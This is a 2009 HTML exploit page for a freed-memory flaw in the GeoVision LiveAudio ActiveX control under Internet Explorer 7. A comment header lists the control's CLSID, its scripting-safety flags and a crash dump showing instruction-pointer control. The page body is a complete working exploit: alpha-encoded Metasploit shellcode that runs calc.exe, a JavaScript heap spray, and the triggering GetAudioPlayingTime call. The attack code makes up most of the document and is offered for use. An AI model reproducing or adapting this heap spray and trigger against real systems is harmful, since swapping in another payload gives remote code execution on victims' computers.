<!--
02/03/2009 14.57.46
GeoVision LiveAudio ActiveX Control GetAudioPlayingTime() remote freed-memory
access exploit (IE7)
by Nine:Situations:Group::trotzkista

vendor site: http://www.geovision.com.tw/
our site: http://retrogod.altervista.org/

details:
CLSID: {814A3C52-B6F7-4AEA-A9BC-7849B9B0ECA8}
Progid: LIVEAUDIO.LiveAudioCtrl.1
Binary Path: C:\WINDOWS\system32\LIVEAU~1.OCX
File Version: 7.0
Implements IObjectSafety: False
Safe For Initialization (Registry): True
Safe For Scripting (Registry): True

vulnerability:
passing certain objects as parameter of GetAudioPlayingTime() method:
...
(298.ed8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled
eax=0174c258 ebx=0174c258 ecx=00020871 edx=00480018 esi=0273f5b4 edi=0000000d
eip=43000000 esp=0273f58c ebp=0273f59c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050202
43000000 ??              ???
this executes calc.exe, tested against windows xp sp3 with 256 Mb of ram ...
worked all the times
-->
<html>
<object classid='clsid:814A3C52-B6F7-4AEA-A9BC-7849B9B0ECA8' id='x'>
</object>
<div id='boom'></div>
<script>
// win32_exec -  EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com
     shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
                          "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
                          "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
                          "%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
                          "%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
                          "%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
                          "%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
                          "%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
                          "%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
                          "%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
                          "%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
                          "%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
                          "%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
                          "%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
                          "%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
                          "%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
                          "%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
                          "%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
                          "%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
                          "%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
                          "%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
                          "%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
                          "%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
                          "%u314e%u7475%u7038%u7765%u4370");
bigblock  = unescape("%u9090%u9090");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x41000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<0x800;i++){memory[i] = block+shellcode;if (i < 0x4b0) { memory[i-0x64] = "" }}
try{eval('x.GetAudioPlayingTime(boom,boom)')}catch(e){}
</script>